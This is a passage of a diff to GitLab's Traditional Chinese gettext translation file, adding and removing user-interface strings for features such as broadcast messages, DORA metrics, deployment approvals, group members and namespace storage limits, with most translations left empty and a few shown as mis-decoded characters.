+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5497,12 +5542,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7070,9 +7121,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "ç€è¦½ç›®éŒ„"
@@ -7668,6 +7803,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7779,13 +7917,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8066,6 +8201,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8225,12 +8363,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8414,6 +8546,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8538,6 +8673,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8640,12 +8778,18 @@ msgstr "已關閉議題"
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9310,21 +9454,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9812,6 +9941,9 @@ msgstr ""
msgid "Committed by"
msgstr "æ交者:"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10700,6 +10832,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11093,6 +11228,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11988,6 +12126,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12012,6 +12153,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12024,7 +12168,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12045,6 +12192,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12066,6 +12219,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12084,6 +12243,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12105,6 +12273,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12114,6 +12288,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12129,9 +12306,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13048,11 +13222,9 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13114,6 +13286,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13492,9 +13667,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13510,6 +13691,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -13860,7 +14053,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14085,6 +14278,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14572,6 +14768,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15769,10 +15968,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15781,9 +15977,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16280,9 +16473,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16316,9 +16506,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16636,9 +16823,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17063,9 +17247,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17384,16 +17565,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17490,6 +17668,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18146,9 +18327,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18561,6 +18739,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18573,6 +18754,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18597,6 +18784,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18615,6 +18805,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18627,9 +18820,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -18954,6 +19153,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19116,7 +19321,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19599,9 +19804,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19656,6 +19867,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19665,6 +19879,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19674,6 +19894,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19791,6 +20014,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20098,6 +20324,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20512,9 +20744,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20536,6 +20765,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20754,12 +20986,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -21817,7 +22061,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -21878,9 +22122,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22031,6 +22284,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23232,6 +23488,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23280,6 +23539,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23424,9 +23686,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23742,9 +24001,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -23903,9 +24159,6 @@ msgstr "最新æµæ°´ç·š"
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24038,6 +24291,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24107,9 +24363,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr "了解更多"
@@ -24857,6 +25110,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -24872,9 +25128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -24974,6 +25227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25043,9 +25299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25058,9 +25311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25400,6 +25650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25435,6 +25688,9 @@ msgstr[0] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25444,6 +25700,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25465,10 +25736,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25477,9 +25748,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25507,6 +25784,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25534,6 +25814,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25819,10 +26105,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -25882,6 +26171,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26307,6 +26599,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26703,6 +27001,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26727,6 +27028,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26736,6 +27040,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -26869,6 +27188,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -26996,9 +27336,6 @@ msgstr ""
msgid "New directory"
msgstr "新增目錄"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27314,9 +27651,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27492,6 +27826,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
